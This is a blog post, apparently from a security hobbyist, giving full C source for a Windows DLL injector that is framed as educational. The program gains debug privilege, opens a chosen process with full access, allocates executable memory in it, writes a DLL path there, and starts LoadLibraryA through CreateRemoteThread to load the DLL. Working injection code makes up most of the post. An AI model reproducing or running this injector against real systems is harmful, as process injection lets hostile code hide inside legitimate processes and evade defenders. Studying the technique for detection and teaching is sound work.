Wednesday, January 23, 2019

Beginning DLL Injection with Windows 10x64 and Visual Studio 2017 - The Exe Code

This post is a continuation from the previous one, in which we developed the DLL source code. This post focuses on the exe code which is needed to call and execute the DLL. I've put as much comments as possible in the code to ensure not only that you are able to read and understand but also that I can remember clearly when I need to revisit this. At the same time, I've ensured I referenced the materials I used to come up with this code. Note, most of this code is from Microsoft's MSDN and other sites. I simply re-purpose the code to suit y need.


// DLLInjection-Basics.cpp : Defines the entry point for the console application.
//

/*
Author: Nik Alleyne
Author Blog: www.securitynik.com
Date: 2019-01-10
File: dllInjection-Basics.c

Note: This code was developed stricly for education purposes and is not to be used for anything malicious.
If you use this program in any malicious way or damage your computing systems, in no way am I responsible.

*/


#include "stdafx.h"
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <psapi.h>
#include <string.h>


// This function basically prints out the usage information to the screen if someone enters less than or more than 1 argument
void usageInfo()
{
 printf("DLLInjection-Basics.exe  \nNik Alleyne | www.securitynik.com \n");
 printf("Usage: To use this program, you must enter the DLLInjection-Basics.exe followed by the PID\n");
 printf("eg. DLLInjection-Basics.exe 1020 \n");
 printf("-----------------------------------------------------------\n");
 printf("This tool should be used only for educational purposes. \nIf you plan to use it for something nefarious, \nyou should STOP using it immediately.\n");
 printf("------------------------------------------------------------\n");
 exit(0);
}


// This function is used for granting this program 'Debug' privileges
BOOL setDeugPrivilege(HANDLE myToken, LPCTSTR myDesiredAccess, BOOL trueFalse)
{
 TOKEN_PRIVILEGES myTokenPrivileges;
 LUID myLuid;

 printf("[*] Attempting to give myself [Debug] privileges ... \n");
 Sleep(2000);
 if (!LookupPrivilegeValue(NULL, myDesiredAccess, &myLuid))
 {
  printf("    -> [!] Encountered an error while looking up privileges. The error code was %d \n", GetLastError());
  return FALSE;
 }
 else
  printf("    -> [*] Successfully looked up current privileges \n");
 
 Sleep(2000);
 
 // Identify as 1 the number of items in the privilege array
 myTokenPrivileges.PrivilegeCount = 1;
 myTokenPrivileges.Privileges[0].Luid = myLuid;

 if (trueFalse)
  myTokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 else
  myTokenPrivileges.Privileges[0].Attributes = 0;

 // After all of that, let's now officially enable the privilege
 if ((AdjustTokenPrivileges(myToken, FALSE, &myTokenPrivileges, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) && GetLastError() == 0 )
  printf("    -> [+] Successfully gained [%ws] privileges! \n", myDesiredAccess);
 else
 {
  printf("    -> [!] Damm! Looks like we hit a snag while setting the 'Debug' Privilege. \n");
  printf("    -> [!] Try running me again as administrator. \n");
  printf("    -> [!] Current error code is %d \n", GetLastError());
  return FALSE;
 }

 return TRUE;
}



int main(int argc, char *argv[])
{

 // clear the screnn before we get going
 system("cls");

 // Check the number of arguments being passed. If not equal to 1 print info from usage function above
 // Note below we are checking "!=2" this is because the program itself is argv[0]. This means the PID will be argv[1]
 // Hence the total of 2 arguments being checked
 if (argc != 2)
  usageInfo();

 printf("----\\\\//---- DLL Injection Basics by Nik Alleyne | www.securitynik.com ----\\\\//---- \n");
 Sleep(2000);
 printf("[*] My current proces ID is:[%d] \n", GetCurrentProcessId());
 Sleep(2000);
 
 //Let's enumerate the process ID entered on the command line as argv[1]
 // Variables to be used by EnumProcesses Function arguments
 DWORD myProcessList[1024], myProcessListArraySize, myProcessCount;
 unsigned int count = 0;

 // Enumerate all processes on the system
 printf("[*] Enumerating all processes on the system ... \n");
 Sleep(2000);
 if (!EnumProcesses(myProcessList, sizeof(myProcessList), &myProcessListArraySize))
 {
  printf("   -> [+] Uh oh! Looks like we it a snag. Try me again later. \n");
  return FALSE;
 }
 else
 {
  printf("    -> [+] Successfully enumerated all processes \n");
  Sleep(2000);
 }
 
 // Now that we have enumerated all the processes, let's get the total number returned
 myProcessCount = myProcessListArraySize / sizeof(DWORD);

 // Let's now search the processes to look for the one with the process ID entered on the command line
 printf("[*] Searching through [%u] process looking for the process with PID:[%u] ... \n", myProcessCount, atoi(argv[1]));
 Sleep(2000);
 // This variable keep track of whether or not the PID is found from the returned list
 BOOL pidFound = FALSE;
 
 // Step through the list of process IDs returned 
 for (count; count < myProcessCount; count++)
 {
  // If you want to see all currently running PIDs uncomment the printf statement below
  // printf("[*] PID:[%u] \n", myProcessList[count]);

  // compare each entry as they are returned against the value entered in the command line
  if (myProcessList[count] == atoi(argv[1]))
  {
   printf("\n    -> [*] Process with PID:[%u] found \n", atoi(argv[1]));
   Sleep(2000);
   pidFound = TRUE;
   break;
  }
  else
  {
   printf(".");
   Sleep(1);
  }

 }
 // if the PID is not found, print a message to the screen
 if (!pidFound)
 {
  printf("\n    -> [!] Bummer! Could not find a process with PID:[%u] \n", atoi(argv[1]));
  return FALSE;
 }
 
 // Gain a handle to the current process
 HANDLE myCurrentProcess = GetCurrentProcess();
 HANDLE myToken;

 // Call the function defined above to set the debug privileges
 if (OpenProcessToken(myCurrentProcess, TOKEN_ALL_ACCESS, &myToken))
  if (!setDeugPrivilege(myToken, SE_DEBUG_NAME, TRUE))
   return FALSE;
 
 // Attach to the process specified by the PID provided
 Sleep(2000);
 printf("[*] Attempting to attach to the remote process with PID:[%u] ... \n", atoi(argv[1]));
 Sleep(2000);
 HANDLE myRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));

 if ( myRemoteProcess )
 {
  printf("    -> [+] Successfully attached to the remote process with PID:[%u] \n", atoi(argv[1]));
  Sleep(2000);
  printf("    -> [+] The handle returned to the remote process is [%p] \n", myRemoteProcess);
  Sleep(2000);
 }
 else
 {
  printf("    -> [!] Error encountered while attaching to the remote process with PID:[%u] \n", atoi(argv[1]));
  printf("    -> [!] The error code was %u \n", GetLastError());
  return FALSE;
 }


 // Now that we have attached to the process, let's allocate space within it
 // VOID *myRemoteProcessBaseAddress = NULL;
 printf("[*] Attempting to allocate space within the remote process with PID:[%u] ... \n", atoi(argv[1]));
 Sleep(2000);
 VOID *myRemoteProcessBaseAddress = VirtualAllocEx(myRemoteProcess, (LPVOID)NULL, 256, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

 if ( myRemoteProcessBaseAddress != NULL )
 {
  printf("    -> [+] Successfully allocated space within the remote process\n");
  Sleep(2000);
  printf("    -> [+] The base addressed returned for the remote process was [%p] \n", myRemoteProcessBaseAddress);
  Sleep(2000);
 }
 else
 {
  printf("    -> [!] Looks like we hit a road block with allocating space in the process \n");
  printf("    -> [!] The error code returned was %d \n", GetLastError());
  return FALSE;
 }

 //  Now that we have allocated the space in the process memory, let's write our dll to this space
 printf("[*] Attempting to write [SampleDLL.dll] into the memory of process with PID:[%u] at base address:[%p] ...\n", atoi(argv[1]), myRemoteProcessBaseAddress);
 Sleep(2000);
 // define the path for my DLL
 CHAR myDLLPath[MAX_PATH] = {0};
 SIZE_T myNumOfBytesWritten = 0;
 strcpy_s(myDLLPath, sizeof(myDLLPath) + 1, "E:\\Code\\SampleDLL.dll");

 if (WriteProcessMemory(myRemoteProcess, myRemoteProcessBaseAddress, (LPVOID *)myDLLPath, sizeof(myDLLPath), &myNumOfBytesWritten))
  printf("    -> [+] Successfully wrote [%u] bytes to the process with PID:[%d] memory \n", myNumOfBytesWritten, atoi(argv[1]));
 else
 {
  printf("    -> [!] Error occurred while writing to the process memory");
  printf("    -> [!] The error code was %d \n", GetLastError());
  return FALSE;
 }

 // Let's prepare to wrap this up by creating a thread in the remote process
 Sleep(2000);
 printf("[*] Attempting to create a new thread in the remote process ... \n");
 Sleep(2000);
 HANDLE myRemoteProcessNewThread = CreateRemoteThread(myRemoteProcess, (LPSECURITY_ATTRIBUTES)NULL, 0, (LPTHREAD_START_ROUTINE)(GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA")), myRemoteProcessBaseAddress, 0, (LPDWORD)NULL);
 if (myRemoteProcessNewThread != NULL)
 {
  printf("    -> [+] Successfully created the new thread in the remote process \n");
  Sleep(2000);
  printf("    -> [*] The handle received for the remote thread is [%p]\n", myRemoteProcessNewThread);
  Sleep(2000);
  printf("    -> [*] I'm done my work. Let's now get out of here! \n");
  Sleep(2000);
  printf("----------\\\\//--- www.securitynik.com ---//\\\\----------\n");
 }
 else
 {
  printf("    -> [!] Bummer! Looks like we have an error \n");
  return FALSE;
 }
 // Sleep(100000);
    return 0;
}

/*
References:
http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html
http://deniable.org/misc/inject-all-the-things
https://docs.microsoft.com/en-us/previous-versions/td1esda9(v=vs.140)
https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-getprocaddress
https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibrarya
https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createremotethread
https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess
https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openprocess
https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openprocesstoken
https://docs.microsoft.com/en-us/windows/desktop/api/psapi/nf-psapi-enumprocesses
https://docs.microsoft.com/en-us/windows/desktop/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_luid_and_attributes
https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_privilege_set
https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_token_privileges
https://docs.microsoft.com/en-us/windows/desktop/Debug/system-error-codes
https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants
https://docs.microsoft.com/en-us/windows/desktop/ProcThread/process-security-and-access-rights
https://docs.microsoft.com/en-us/windows/desktop/psapi/enumerating-all-processes
https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/access-rights-for-access-token-objects
https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/enabling-and-disabling-privileges-in-c--
https://docs.microsoft.com/en-us/windows/desktop/SecGloss/a-gly
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debug-privilege
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
https://stackoverflow.com/questions/13080927/about-the-msdn-code-example-enabling-and-disabling-privileges
https://vulnerablelife.wordpress.com/2017/01/12/windows-dll-injection-basics/
https://www.codeproject.com/Articles/20084/A-More-Complete-DLL-Injection-Solution-Using-Creat
*/


See you in the next post where we confirm whether or not this is actually working as expected.

No comments:

Post a Comment